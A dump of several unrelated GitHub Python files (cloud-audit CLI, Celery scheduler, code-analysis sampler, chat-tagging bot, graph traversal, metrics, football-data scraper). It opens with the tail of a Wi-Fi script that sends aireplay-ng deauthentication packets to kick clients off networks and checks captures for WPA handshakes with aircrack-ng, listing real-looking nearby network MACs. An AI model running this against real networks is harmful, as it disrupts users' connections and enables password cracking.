networks_dataframe)\n clients_dataframe = clients_dataframe.sort_values(by = \" ESSID\", ascending = False)\n\n\n if not get_clients:\n return networks_dataframe\n\n return networks_dataframe, clients_dataframe\n\ndef associate_networks_SSID_with_their_BSSID(src_dataframe, associations_dataframe):\n # BSSIDS = list(src_dataframe[\" BSSID\"])\n # SSIDS = map(lambda BSSID: , BSSIDS)\n associations_dataframe = associations_dataframe[[\"BSSID\", \" ESSID\", \" channel\"]]\n src_dataframe = pandas.merge(src_dataframe, associations_dataframe, how = \"inner\", on = [\"BSSID\"])\n\n return src_dataframe\n\n\ndef get_clients():\n pass\n\ndef obtainMACbySSID(networkSSID):\n observations = observeNetwork(networkSSID)\n return observations[\"BSSID\"]\n\ndef get_all_clients(networkSSID, channel = None, time_per_network = 0, start_process = True, stop_process = True):\n print(f\"Getting all clients of {networkSSID}\")\n observations = observeNetwork(networkSSID, channel, time_per_network, start_process, stop_process)\n return observations[\"CLIENTS\"]\n\n\n\ndef deauth_client(network_MAC, client_MAC, network_channel = 1):\n print(f\"Deauthenticating client of {network_MAC}\")\n\n # system(f\"sudo iwconfig wlan0mon channel {network_channel}\")\n number_of_deauth_packets_to_send = 10\n command = f\"aireplay-ng --deauth {number_of_deauth_packets_to_send} -a {network_MAC} -c {client_MAC} wlan0mon\"\n \n process = subprocess.Popen(command.split(\" \"), text = True)\n sleep(number_of_deauth_packets_to_send / 2)\n\n attack_stopper = lambda: process.kill()\n\n return attack_stopper\n\n\ndef wait_untill_file_exists_and_read_it(path_to_file, delete_contents_after_reading = False):\n\n while not Path(path_to_file).exists():\n sleep(.1)\n\n with open(path_to_file, \"r\") as file_:\n contens = file_.read()\n \n\n if delete_contents_after_reading:\n with open(path_to_file, \"w\") as file_:\n file_.write('')\n \n return contens\n\ndef check_packets_file_for_handshake(path_to_file):\n\n try:\n\n aircrack_response = subprocess.check_output(f\"aircrack-ng {path_to_file}\".split(\" \")).decode()\n except Exception as e:\n print(f'several networks in one file ({path_to_file}). Check manually')\n return False\n\n # print(aircrack_response)\n if \"handshake\" in aircrack_response and \"0 handshake\" not in aircrack_response:\n return True\n\n return False\n\n\n# observeNetwork(wifiNetworkSSID, channel = 11, observe_for = 90)\n# deauth_client(network_MAC = \"EC:08:6B:83:8F:27\", client_MAC = \"D8:CE:3A:31:39:84\", network_channel = 11)\n# captureHandshake(\"5GHOME\", \"74:DA:88:1C:24:10\", client_MAC = None, channel = 36, time_to_gather_clients=45)\n# captureHandshake__parse_from_string(\n# \" EC:08:6B:83:8F:27 -46 43 4 0 1 195 WPA2 CCMP PSK SKY-NET\",\n# client_MAC = None, time_to_gather_clients=45)\n# get_networks(30)\ncaptureHandshakes()\n# check_packets_file_for_handshake(\"luba-packets-01.cap\")\n# 04:5E:A4:CB:1B:27 -62 660 20 0 5 270 WPA2 CCMP PSK netis_CB1B27\n# 74:DA:88:1C:24:10 -59 7 0 0 36 390 WPA2 CCMP PSK 5GHOME\n# 78:44:76:F2:34:10 -46 319 87 0 1 270 WPA2 CCMP PSK Andriy\n# 74:DA:88:1C:24:11 -31 296 0 0 3 270 WPA2 CCMP PSK Guests\n# 7C:8B:CA:AF:2D:9B -67 7 0 0 2 65 WPA2 CCMP PSK UKrtelecom_AF2D9B\n# 74:DA:88:1C:24:10 -56 34 8 0 36 390 WPA2 CCMP PSK 5GHOME\n\n\nkill_all_airodump_ng_processes()\n","repo_name":"Seagullie/captureHandshakes","sub_path":"catchHandshake.py","file_name":"catchHandshake.py","file_ext":"py","file_size_in_byte":12558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37273430362","text":"from sys import path\nfrom os import environ\nimport django\npath.append('/workspace/email_server/email_sender/settings.py')\nenviron.setdefault('DJANGO_SETTINGS_MODULE', 'email_sender.settings')\n\ndjango.setup()\n\nfrom django_celery_beat.models import PeriodicTask, IntervalSchedule\n\ndef daily_sum_send():\n print('here')\n # IntervalSchedule.objects.all().delete()\n schedule, newsch = IntervalSchedule.objects.get_or_create(\n every=30,\n period=IntervalSchedule.SECONDS,\n )\n task_name = 'send_daily'\n PeriodicTask.objects.filter(name=task_name).delete()\n # periodic task that will send emails everyday\n PeriodicTask.objects.create(\n interval=schedule,\n name=task_name,\n task='send_daily',\n\n )\n print('sent')\n\n\ndaily_sum_send()\n","repo_name":"Aigerimmsadir/Finnhub_test","sub_path":"email_server/daily_summary.py","file_name":"daily_summary.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27804668101","text":"import argparse\nimport yaml\n\nfrom cloudtracker import run\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--config\",\n help=\"Config file name\",\n required=False, default=\"config.yaml\", type=str)\n parser.add_argument(\"--iam\", dest='iam_file',\n help=\"IAM output from running `aws iam get-account-authorization-details`\",\n required=False, default=\"./data/get-account-authorization-details.json\", type=str)\n parser.add_argument(\"--account\",\n help=\"Account name\",\n required=True, type=str)\n parser.add_argument(\"--start\",\n help=\"Start of date range (ex. 2018-01-21)\",\n required=False, type=str)\n parser.add_argument(\"--end\",\n help=\"End of date range (ex. 2018-01-21)\",\n required=False, type=str)\n parser.add_argument(\"--list\",\n help=\"List \\'users\\' or \\'roles\\' that have been active\",\n required=False, choices=['users', 'roles'])\n parser.add_argument(\"--user\",\n help=\"User to investigate\",\n required=False, default=None, type=str)\n parser.add_argument(\"--role\",\n help=\"Role to investigate\",\n required=False, default=None, type=str)\n parser.add_argument(\"--destrole\",\n help=\"Role assumed into\",\n required=False, default=None, type=str)\n parser.add_argument(\"--destaccount\",\n help=\"Account assumed into (if different)\",\n required=False, default=None, type=str)\n parser.add_argument(\"--show-used\", dest='show_used',\n help=\"Only show privileges that were used\",\n required=False, action='store_true')\n parser.add_argument(\"--ignore-benign\", dest='show_benign',\n help=\"Don't show actions that aren't likely to be sensitive, \"\n \"such as ones that won't exfil data or modify resources\",\n required=False, action='store_false')\n parser.add_argument(\"--ignore-unknown\", dest='show_unknown',\n help=\"Don't show granted privileges that aren't recorded in CloudTrail, \"\n \"as we don't know if they are used\",\n required=False, action='store_false')\n parser.add_argument(\"--no-color\", dest='use_color',\n help=\"Don't use color codes in output\",\n required=False, action='store_false')\n\n args = parser.parse_args()\n\n if not (args.user or args.role or args.list):\n parser.error('Must specify a user, role, or list')\n if args.user and args.role:\n parser.error(\"Must specify a user or a role, not both. Use \\\"destole\\\" for assumed role\")\n if args.list and (args.user or args.role):\n parser.error('Do not specify a user or role when listing')\n\n # Read config\n try:\n with open(args.config, 'r') as stream:\n try:\n config = yaml.load(stream)\n except yaml.YAMLError as e:\n exit(\"ERROR: Loading yaml for config file {}\\n{}\".format(args.config, e))\n except Exception as e:\n exit(\"ERROR: Loading config file {}\\n{}\".format(args.config, e))\n\n run(args, config, args.start, args.end)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"chaitushiva/fun_withLEARNING","sub_path":"cloudtracker.py","file_name":"cloudtracker.py","file_ext":"py","file_size_in_byte":3553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20165041118","text":"from __future__ import print_function, unicode_literals, division\nimport functools\nimport json\nimport os\nimport random\nimport subprocess\nimport argparse\nimport sys\nimport operator\nimport textwrap\nimport traceback\nimport platform\nfrom contextlib import contextmanager\n\nimport requests\n\n\nPROJECT_ROOT = os.path.dirname(__file__)\nREPORTS_DIR = os.path.join(PROJECT_ROOT, 'reports')\n\nPYTHON2_BIN, PYTHON3_BIN = 'python2', 'python3'\nVENV2_BIN, VENV3_BIN = 'venv2', 'venv3'\n\nBIN_DIR = 'Scripts' if platform.system() == 'Windows' else 'bin'\n\nsys.path.insert(0, PROJECT_ROOT)\n\n_failfast = False\n\n_excluded_words = frozenset([\n 'django',\n 'flask',\n 'webpy',\n 'celery',\n 'web2py',\n 'cython',\n 'sublime',\n])\n\n# exclude some common libraries from samples\n_excluded_projects = frozenset([\n # mostly pictures\n 'nvkelso/natural-earth-vector',\n\n # mostly text\n 'CamDavidsonPilon/Probabilistic-Programming-and-Bayesian-Methods-for-Hackers',\n 'karan/Projects',\n 'mitsuhiko/rstblog',\n 'redecentralize/alternative-internet',\n 'kennethreitz/python-guide',\n 'taobao/nginx-book',\n\n # doesn't have enough Python modules to analyze\n 'mattwilliamson/arduino-sms-alarm',\n 'logsol/Github-Auto-Deploy.git',\n 'jokkedk/webgrind',\n 'square/SocketRocket',\n 'misfo/Shell-Turtlestein',\n 'jreese/spotify-gnome',\n 'fogleman/Minecraft',\n 'paulgb/simplediff',\n 'somerandomdude/Iconic',\n 'gleitz/howdoi',\n 'dominis/ansible-shell',\n\n # broken projects\n 'Eichhoernchen/SiriServer',\n 'Aaln/whit',\n 'chen3feng/typhoon-blade',\n 'numenta/nupic', # has python template modules with $VAR placeholders\n 'gregmalcolm/python_koans', # has exercises both for Python 2 and Python 3\n 'surfly/gevent', # has Python 3 specific modules\n 'faif/python-patterns', # targeting Python 3\n\n # too complex project structure\n 'edx/configuration',\n 'deis/deis',\n 'klen/python-mode',\n\n # pretty much useless without dependencies\n # or has too many of them\n 'mitmproxy/mitmproxy',\n 'shipyard/shipyard',\n 'thumbor/thumbor',\n 'hausdorff/snapchat-fs',\n 'slacy/minimongo',\n 'mongodb/mongo-python-driver',\n 'nvie/rq',\n 'aws/aws-cli',\n 'getsentry/sentry',\n 'eldarion/biblion',\n 'astanway/Commit-Logs-From-Last-Night',\n\n # other\n 'python-git/python',\n 'iambus/xunlei-lixian',\n])\n\n\n@contextmanager\ndef cd(path):\n old_dir = os.getcwd()\n os.chdir(path)\n try:\n yield\n finally:\n os.chdir(old_dir)\n\n\ndef run(*args, **kwargs):\n stdout = kwargs.pop('stdout', sys.stdout)\n stderr = kwargs.pop('stderr', subprocess.STDOUT)\n ignore_errors = kwargs.pop('ignore_errors', False)\n try:\n subprocess.check_call(args, stdout=stdout, stderr=stderr, **kwargs)\n except subprocess.CalledProcessError as e:\n print(e, file=sys.stderr)\n if _failfast:\n sys.exit(1)\n if not ignore_errors:\n raise e\n\n\ndef fetch_projects(args):\n projects = {}\n page = 0\n print('Searching for projects in Python on github.com...')\n projects_directory = os.path.abspath(os.path.expanduser(args.directory))\n while len(projects) < args.number:\n r = requests.get('https://api.github.com/search/repositories',\n params={\n # 'q': 'language:python stars:10..200',\n 'q': 'language:python size:<=30000',\n 'per_page': 100,\n 'page': page\n },\n auth=args.user,\n headers={'Accept': 'application/vnd.github.preview.text-match+json'})\n r.raise_for_status()\n # print(json.dumps(r.json(), indent=2))\n items = list(r.json()['items'])\n random.shuffle(items)\n for item in items:\n\n if item['full_name'] in _excluded_projects:\n continue\n\n desc = item['description'].lower()\n name = item['name'].lower()\n if any(word in desc or word in name for word in _excluded_words):\n continue\n\n if os.path.exists(os.path.join(projects_directory, item['name'])):\n continue\n\n projects[item['full_name']] = item['clone_url']\n if len(projects) >= args.number:\n break\n page += 1\n\n print('Projects found:\\n {}'.format('\\n '.join(projects)))\n\n if not os.path.exists(projects_directory):\n print('Project directory does not exists. Creating one at \"{}\".'.format(projects_directory))\n os.makedirs(projects_directory)\n\n with cd(projects_directory):\n for name, url in projects.items():\n run('git', 'clone', url)\n\n\ndef collect_statistics(args):\n try:\n projects_directory = os.path.abspath(os.path.expanduser(args.directory))\n print('Running analysis in batch mode. Scanning directory \"{}\".'.format(projects_directory))\n\n reports_root = os.path.join(projects_directory, '.reports')\n if not os.path.exists(reports_root):\n print('Reports directory does not exists yet. '\n 'Creating one at \"{}\".'.format(reports_root))\n os.makedirs(reports_root)\n\n venv_root = os.path.join(projects_directory, '.venv')\n if not os.path.exists(venv_root):\n print('Virtual environments directory does not exists yet. '\n 'Creating one at \"{}\".'.format(venv_root))\n os.makedirs(venv_root)\n\n project_reports = []\n for project_name in os.listdir(projects_directory):\n project_path = os.path.join(projects_directory, project_name)\n if project_path in (venv_root, reports_root):\n continue\n\n if os.path.isdir(project_path):\n report_path = os.path.join(reports_root, project_name + '.json')\n if not args.force and os.path.exists(report_path):\n print('Using existing JSON report for {}.'.format(project_name))\n else:\n try:\n venv_path = os.path.join(venv_root, 'env-' + project_name)\n if not os.path.exists(venv_path):\n print('Creating virtualenv in \"{}\".'.format(venv_path))\n run(VENV2_BIN, venv_path)\n\n venv_python = os.path.join(venv_path, BIN_DIR, 'python')\n venv_pip = os.path.join(venv_path, BIN_DIR, 'pip')\n\n with cd(project_path):\n if os.path.exists('requirements.txt'):\n run(venv_pip, 'install', '-r', 'requirements.txt',\n ignore_errors=True)\n\n if os.path.exists('setup.py'):\n run(venv_python, 'setup.py', 'develop', ignore_errors=True)\n\n with cd(PROJECT_ROOT):\n run(venv_python, os.path.join(PROJECT_ROOT, 'runner.py'),\n '--json', '--follow-imports',\n '--output', report_path,\n project_path)\n except subprocess.CalledProcessError:\n print('Unrecoverable error in {}. Skipping.'.format(project_name))\n continue\n\n with open(report_path, 'rb') as f:\n report = json.load(f, encoding='utf-8')\n if report['indexed']['in_project']['parameters'] == 0:\n print('Nothing to analyze in {}. Skipping.'.format(project_name))\n continue\n\n project_reports.append(report)\n\n if not project_reports:\n print('No projects found.')\n return\n print('Total {:d} projects'.format(len(project_reports)))\n\n metrics = [\n ('Attributeless parameters',\n 'project_statistics.parameters.attributeless.rate'),\n ('Attributeless parameters passed to other function',\n 'project_statistics.parameters.attributeless.usages.argument.rate'),\n ('Attributeless parameters used as operand',\n 'project_statistics.parameters.attributeless.usages.operand.rate'),\n ('Attributeless parameters used as function return value',\n 'project_statistics.parameters.attributeless.usages.returned.rate'),\n ('Undefined type parameters',\n 'project_statistics.parameters.undefined_type.rate'),\n ('Exact type parameters', 'project_statistics.parameters.exact_type.rate'),\n ('Scattered type parameters',\n 'project_statistics.parameters.scattered_type.rate'),\n ('Maximum number of base classes',\n 'project_statistics.additional.class_bases.max'),\n ('Maximum number of classes having at least one attribute of used',\n 'project_statistics.additional.total_candidates.max'),\n ('Average number of classes having at least one attribute of used',\n 'project_statistics.additional.total_candidates.mean')\n ]\n\n for title, path in metrics:\n values, value_sources = [], {}\n for report in project_reports:\n try:\n value = functools.reduce(operator.getitem, path.split('.'), report)\n except KeyError:\n continue\n values.append(value)\n value_sources[value] = report['project_root']\n\n if not values:\n print('No values exist for {}.'.format(path))\n continue\n\n mean = sum(values) / len(values)\n if len(values) > 1:\n variance = sum((x - mean) ** 2 for x in values) / (len(values) - 1)\n else:\n variance = 0\n min_value = min(values)\n max_value = max(values)\n\n print(textwrap.dedent(\"\"\"\\\n {title}:\n mean={mean}\n variance={variance}\n max={max_value} ({max_project})\n min={min_value} ({min_project})\n \"\"\".format(title=title, mean=mean, variance=variance,\n max_value=max_value, max_project=value_sources[max_value],\n min_value=min_value, min_project=value_sources[min_value])))\n\n\n except Exception:\n traceback.print_exc()\n\n\ndef main():\n parser = argparse.ArgumentParser()\n commands = parser.add_subparsers()\n\n cmd_fetch_projects = commands.add_parser('fetch-projects')\n cmd_fetch_projects.add_argument('-n', '--number', type=int, default=100)\n cmd_fetch_projects.add_argument('-u', '--user', type=lambda x: tuple(x.split(':', 2)))\n cmd_fetch_projects.add_argument('directory', nargs='?', default='samples/github')\n cmd_fetch_projects.set_defaults(func=fetch_projects)\n\n cmd_collect_statistics = commands.add_parser('collect-statistics')\n cmd_collect_statistics.add_argument('directory', nargs='?', default='samples/github')\n cmd_collect_statistics.add_argument('--force', action='store_true')\n cmd_collect_statistics.set_defaults(func=collect_statistics)\n\n args = parser.parse_args()\n args.func(args)\n\n\nif __name__ == '__main__':\n main()","repo_name":"east825/green-type","sub_path":"experiments.py","file_name":"experiments.py","file_ext":"py","file_size_in_byte":11385,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"42523169888","text":"'''\nOriginal File Creator : Arya Seputra\nModified for Windows use by : Muhammad Mudrik\nModified for Windows telegram use by: Abdurrafi Arief\n'''\n\nimport keyboard\nimport time\nimport clipboard\n\ndef tag_all(amount_of_members):\n holder = ''\n print(\"Waiting for hotkey to tag all(s+l+n)...\")\n keyboard.wait('s+l+n')\n time.sleep(0.3)\n keyboard.press(\"backspace\")\n keyboard.press(\"backspace\")\n keyboard.press(\"backspace\")\n keyboard.press(\"backspace\")\n keyboard.press(\"backspace\")\n\n for i in range(amount_of_members):\n keyboard.write(\"@\")\n time.sleep(0.4)\n for j in range(i):\n keyboard.press(\"down\")\n time.sleep(0.0001)\n keyboard.press(\"enter\")\n time.sleep(0.1)\n keyboard.press(\"shift+enter\")\n keyboard.release(\"shift+enter\")\n keyboard.write(\"[Haha a bot tagged you guys]\")\n keyboard.press('enter')\n keyboard.release(\"enter\")\n exit()\n\nwhile True:\n try:\n print(\"1. I want to tag all\")\n print(\"2. I don't want to tag all\")\n to_do = int(input(\"Enter: \"))\n break\n except:\n pass\n\nif to_do == 1:\n amount_of_members = int(input(\"Enter amount of members in the group: \"))\n tag_all(amount_of_members)\nelif to_do == 2:\n print(\"ok lol bye\")\n exit()","repo_name":"muhmudrik/Line-Mention-All-Bot-for-Windows","sub_path":"mention_all_windows_telegram.py","file_name":"mention_all_windows_telegram.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"21979951927","text":"# A program to implement traversal algorithms (BFS and DFS) in the Graph.\nclass Graph:\n def __init__(self):\n self.graph = {}\n def addEdge(self, u, v):\n if u not in self.graph:\n self.graph[u] = []\n self.graph[u].append(v)\n def BFS(self, start):\n visited = set()\n queue = [start]\n bfs_output = []\n while queue:\n vertex = queue.pop(0)\n if vertex not in visited:\n bfs_output.append(vertex)\n visited.add(vertex)\n queue.extend(self.graph.get(vertex, []))\n return bfs_output\n def DFS(self, start, visited=None):\n if visited is None:\n visited = set()\n if start not in visited:\n visited.add(start)\n for neighbor in self.graph.get(start, []):\n self.DFS(neighbor, visited)\n return visited\nif __name__ == '__main__':\n g = Graph()\n n = int(input(\"Enter number of edges: \"))\n for i in range(n):\n u, v = map(str, input(\"Enter edge (u v): \").split())\n g.addEdge(u, v)\n print(\"1. BFS\")\n print(\"2. DFS\")\n choice = int(input(\"Choose traversal algorithm: \"))\n start_node = input(\"Enter starting node: \")\n if choice == 1:\n print(\"BFS Traversal:\", g.BFS(start_node))\n else:\n print(\"DFS Traversal:\", list(g.DFS(start_node)))","repo_name":"kaal-coder/hacktoberfest2023","sub_path":"Coding/Python/BFS and DFS in graph.py","file_name":"BFS and DFS in graph.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","stars":158,"dataset":"github-code","pt":"82"} +{"seq_id":"12022806550","text":"from collections import defaultdict\nimport pickle\nimport os\nimport h5py\nimport numpy as np\ndef max_vote(results):\n ans = []\n d = defaultdict(int)\n for i in results:\n d[i] += 1\n result = max(d.items(), key=lambda x: x[1])[1]\n for i in d:\n if d[i]==result:\n ans.append(i)\n print (ans)\n return ans\n\ndef load_representations(datafile):\n # grab image representations from hdf5 file\n keys, features = [], []\n\n with h5py.File(datafile, 'r') as f:\n for key in f:\n keys.append(key)\n features.append(f[key][...])\n\n return np.array(keys),np.array(features)\n\ndef classifier():\n feature_file= os.listdir('data/cropped_new/features_new')\n datafile = 'data/cropped_new/features_new/'+feature_file[0]\n keys, features = load_representations(datafile)\n Xtest = features\n # Xtest = X / np.linalg.norm(X, axis=1)[:,np.newaxis]\n\n filename = 'xgboost_model_4.sav'\n loaded_model = pickle.load(open(filename, 'rb'))\n result = loaded_model.predict(Xtest)\n return (max_vote(result))","repo_name":"pkarira/Cascade","sub_path":"classification.py","file_name":"classification.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6648743297","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\nclass metrics:\n\n def confusionmatrix(self,Y, Y_pred):\n cfm = [0, 0, 0, 0] # TP, FP, TN, FN\n for i in range(0, len(Y)):\n if (Y[i] == 1 and Y_pred[i][0] == 1): # TP\n cfm[0] += 1\n elif (Y[i] == 1 and Y_pred[i][0] == 0): # FP\n cfm[1] += 1\n elif (Y[i] == 0 and Y_pred[i][0] == 0): # TN\n cfm[2] += 1\n elif (Y[i] == 0 and Y_pred[i][0] == 1): # FN\n cfm[3] += 1\n return cfm\n\n def confusionmatrix2(self,Y, Y_pred):\n cfm = [0, 0, 0, 0] # TP, FP, TN, FN\n for i in range(0, len(Y)):\n if (Y[i] == 1 and Y_pred[i] == 1): # TP\n cfm[0] += 1\n elif (Y[i] == 1 and Y_pred[i] == 0): # FP\n cfm[1] += 1\n elif (Y[i] == 0 and Y_pred[i] == 0): # TN\n cfm[2] += 1\n elif (Y[i] == 0 and Y_pred[i] == 1): # FN\n cfm[3] += 1\n return cfm\n\n def precision(self, true_p, false_p):\n if (true_p + false_p) == 0:\n return 0\n else:\n return true_p / (true_p + false_p)\n\n def accuracy(self, true_p, false_p, true_n, false_n):\n if (true_p + false_p + true_n + false_n) == 0:\n return 0\n else:\n return (true_p + true_n) / (true_p + false_p + true_n + false_n)\n\n def recall(self, true_p, false_n):\n if (true_p + false_n) == 0:\n return 0\n else:\n return true_p / (true_p + false_n)\n\n def f1(self, precision, recall):\n if (precision + recall) == 0:\n return 0\n else:\n return 2 * ((precision * recall) / (precision + recall))\n\n def ROC(self, y_pred, y_test):\n\n min_score = min(y_pred)\n max_score = max(y_pred)\n # create thresholds space\n thresholds = np.linspace(min_score, max_score, 1000)\n # to hold x and y values\n ROC = np.zeros((1000, 2))\n\n for index, T in enumerate(thresholds):\n TP = np.logical_and(y_pred > T, y_test == 1).sum()\n TN_t = np.logical_and(y_pred <= T, y_test == 0).sum()\n FP = np.logical_and(y_pred > T, y_test == 0).sum()\n FN_t = np.logical_and(y_pred <= T, y_test == 1).sum()\n ROC[index, 1] = (TP / (TP + FN_t))\n ROC[index, 0] = (FP / (FP + TN_t))\n return ROC\n\n def gphs(self, ROC, title):\n plt.figure(figsize=(6, 6))\n plt.title(title)\n plt.plot(ROC[:, 0], ROC[:, 1], lw=1)\n plt.plot([0, 1], [0, 1], lw=.5, alpha=.6, linestyle='--', color='black')\n plt.xlim(-0.1, 1.1)\n plt.ylim(-0.1, 1.1)\n plt.xlabel('$FPR(thresh)$')\n plt.ylabel('$TPR(thresh)$')\n t = title + '.png'\n plt.savefig(t)\n plt.show()\n\n def gphsall(self, ROC_nb, ROC_bgr, ROC_slr, title):\n plt.figure(figsize=(6, 6))\n plt.title(title)\n plt.plot(ROC_nb[:, 0], ROC_nb[:, 1], label='Naive Bayes', lw=1, color='cyan')\n plt.plot(ROC_bgr[:, 0], ROC_bgr[:, 1], label='BGD-LR', lw=1, color='coral')\n plt.plot(ROC_slr[:, 0], ROC_slr[:, 1], label='SGD-LR', lw=1, color='lavender')\n plt.plot([0, 1], [0, 1], lw=.5, alpha=.6, linestyle='--', color='black')\n plt.xlim(-0.1, 1.1)\n plt.ylim(-0.1, 1.1)\n plt.xlabel('$FPR(thresh)$')\n plt.ylabel('$TPR(thresh)$')\n plt.legend(loc='best', ncol=3)\n t = title + '.png'\n plt.savefig(t)\n plt.show()","repo_name":"BroChase/Machine-Learning","sub_path":"Naive/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":3572,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"21016557926","text":"import pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\n#POBIRANJE PODATKOV=========================================================================================\r\ndef scrape_table_data(url, table_index, column_names=None, selected_columns=None):\r\n \"\"\"\r\n Pobira podatke iz HTML tabel na spletni strani.\r\n\r\n Argumenti:\r\n url (str): URL spletne strani, iz katere pobiramo podatke.\r\n table_index (int): Indeks tabele na spletni strani od 0 do n.\r\n column_names (list): Seznam imen stolpcev, ki jih bomo uporabili.\r\n selected_columns (list): Seznam strolpcev, ki jih bomo uporabili (če ne želimo vseh stolpcev).\r\n\r\n Vrne:\r\n Slovar slovarjev ki ima pobrane podatke z ključi ki predstavljajo št. vrstice in vrednostmi ki\r\n predstavljajo podatke v določeni vrstici\r\n \"\"\"\r\n\r\n # Uporabi pandas da prevede HTML tabelo v DataFrame\r\n tables = pd.read_html(url, header=0)\r\n table = tables[table_index]\r\n\r\n # Preimenuje stolpce v podana imena\r\n if column_names is not None:\r\n name_map = {table.columns[i]: col_name for i, col_name in enumerate(column_names)}\r\n table = table.rename(columns=name_map)\r\n\r\n # Izbere željene stolpce\r\n if selected_columns is not None:\r\n table = table.iloc[:, selected_columns]\r\n\r\n # Prevede DataFrame v slovar slovarjev\r\n data_dict = {}\r\n for i in range(len(table)):\r\n row_dict = {}\r\n for j, col_name in enumerate(column_names):\r\n row_dict[col_name] = table.iloc[i, j]\r\n data_dict[i] = row_dict\r\n\r\n return data_dict\r\n\r\n#KLUBI==========================================================================================================\r\ndef bar_chart_klubi():\r\n url = 'https://en.wikipedia.org/wiki/UEFA_Champions_League'\r\n table_index = 4\r\n selected_columnss = [0, 1, 2]\r\n column = ['Club', 'Title(s)', 'Runners-up']\r\n data_klubi = scrape_table_data(url, table_index, column, selected_columnss)\r\n\r\n klubi = [data_klubi[i]['Club'] for i in data_klubi]\r\n titles = [data_klubi[i]['Title(s)'] for i in data_klubi]\r\n total = [data_klubi[i]['Title(s)'] + data_klubi[i]['Runners-up'] for i in data_klubi]\r\n\r\n plt.rcParams['toolbar'] = 'None'\r\n fig1,ax = (plt.subplots(num = 'UEFA Clubs',figsize =(16, 10)))\r\n\r\n p1 = ax.barh(klubi, total)\r\n ax.barh(klubi, titles)\r\n\r\n # Odstrane okvire\r\n for s in ['top', 'bottom', 'left', 'right']:\r\n ax.spines[s].set_visible(False)\r\n \r\n # Odstrane x,y črtice\r\n ax.xaxis.set_ticks_position('none')\r\n ax.yaxis.set_ticks_position('none')\r\n\r\n # Mreža\r\n ax.grid(color ='grey',\r\n linestyle ='-.', linewidth = 0.5,\r\n alpha = 0.2)\r\n\r\n # Zamenjamo vrednosti\r\n ax.invert_yaxis()\r\n\r\n #Notacija ob stolpcih\r\n for i in p1.patches:\r\n plt.text(i.get_width()+0.2, i.get_y() + 0.7,\r\n str(round((i.get_width()), 2)),\r\n fontsize = 10, fontweight ='bold',\r\n color ='#A9A9A9')\r\n\r\n # Naslov\r\n ax.set_title('Nastopi v Evropskem pokalu in UEFA Ligi prvakov po klubih',\r\n loc ='center', )\r\n\r\n #Legenda\r\n plt.legend(['Število finalnih tekem', 'Število zmag'],loc = \"lower right\", frameon = True, fontsize = 15)\r\n plt.show()\r\n \r\n#DRŽAVE==========================================================================================================\r\ndef bar_chart_drzave():\r\n url = 'https://en.wikipedia.org/wiki/UEFA_Champions_League'\r\n table_indexx = 5\r\n columnn = ['Nation' ,'Titles', 'Total']\r\n selected_columns=[0, 1,3]\r\n data_drzave = scrape_table_data(url, table_indexx, columnn ,selected_columns)\r\n\r\n drzave = [data_drzave[i]['Nation'] for i in data_drzave] #države\r\n Y = [data_drzave[i]['Total'] for i in data_drzave] \r\n Z = [data_drzave[i]['Titles'] for i in data_drzave]\r\n\r\n fig2,ax =(plt.subplots(num = 'UEFA by Nations',figsize = (16, 9)))\r\n\r\n ax.barh(drzave, Y)\r\n ax.barh(drzave, Z)\r\n\r\n for s in ['top', 'bottom', 'left', 'right']:\r\n ax.spines[s].set_visible(False)\r\n \r\n ax.xaxis.set_ticks_position('none')\r\n ax.yaxis.set_ticks_position('none')\r\n\r\n ax.grid(color ='grey',\r\n linestyle ='-.', linewidth = 0.5,\r\n alpha = 0.2)\r\n\r\n ax.invert_yaxis()\r\n\r\n for i in ax.patches:\r\n plt.text(i.get_width()+0.2, i.get_y()+0.5,\r\n str(round((i.get_width()), 2)),\r\n fontsize = 10, fontweight ='bold',\r\n color ='#A9A9A9')\r\n\r\n ax.set_title('Nastopi v finalu po državah',\r\n loc ='center', )\r\n\r\n plt.legend(['Število finalnih tekem', 'Število zmag'],loc = \"lower right\", frameon = True, fontsize = 15)\r\n plt.show()\r\n\r\n#IGRALCI===============================================================================================================\r\ndef graf_igralci():\r\n url = 'https://en.wikipedia.org/wiki/UEFA_Champions_League'\r\n table_indexxx = 8\r\n columnnn = ['Player', 'Goals', 'Apps']\r\n selected_columnsss=[1,2,3]\r\n data_igralci = scrape_table_data(url, table_indexxx, columnnn ,selected_columnsss)\r\n\r\n igralci = [data_igralci[i]['Player'] for i in data_igralci]\r\n goals = [data_igralci[i]['Goals'] for i in data_igralci]\r\n apps = [data_igralci[i]['Apps'] for i in data_igralci]\r\n\r\n fig3,ax = plt.subplots(num = 'UEFA Players',figsize = (15, 9))\r\n ax.scatter(goals, apps)\r\n\r\n for s in ['top', 'right']:\r\n ax.spines[s].set_visible(False)\r\n \r\n ax.grid(color ='grey',\r\n linestyle ='-.', linewidth = 0.5,\r\n alpha = 0.2)\r\n\r\n plt.xlabel('Število golov')\r\n plt.ylabel('Število nastopov')\r\n\r\n ax.set_title('Rezultati igralcev v UEFA Ligi prvakov',\r\n loc ='center', )\r\n \r\n #Pokaže ime igralca ob točki\r\n for i, txt in enumerate(igralci):\r\n ax.annotate(txt, (goals[i], apps[i]), xytext=(0,10), textcoords='offset points')\r\n \r\n plt.show()\r\n \r\n#FINALNE TEKME=================================================================================================\r\nurl2 = \"https://en.wikipedia.org/wiki/List_of_European_Cup_and_UEFA_Champions_League_finals\"\r\ndat = scrape_table_data(url2,2, ['Season','Winners','Score', 'Runners-up'],[0,2 ,3, 5])\r\nleta = [dat[i]['Season'] for i in 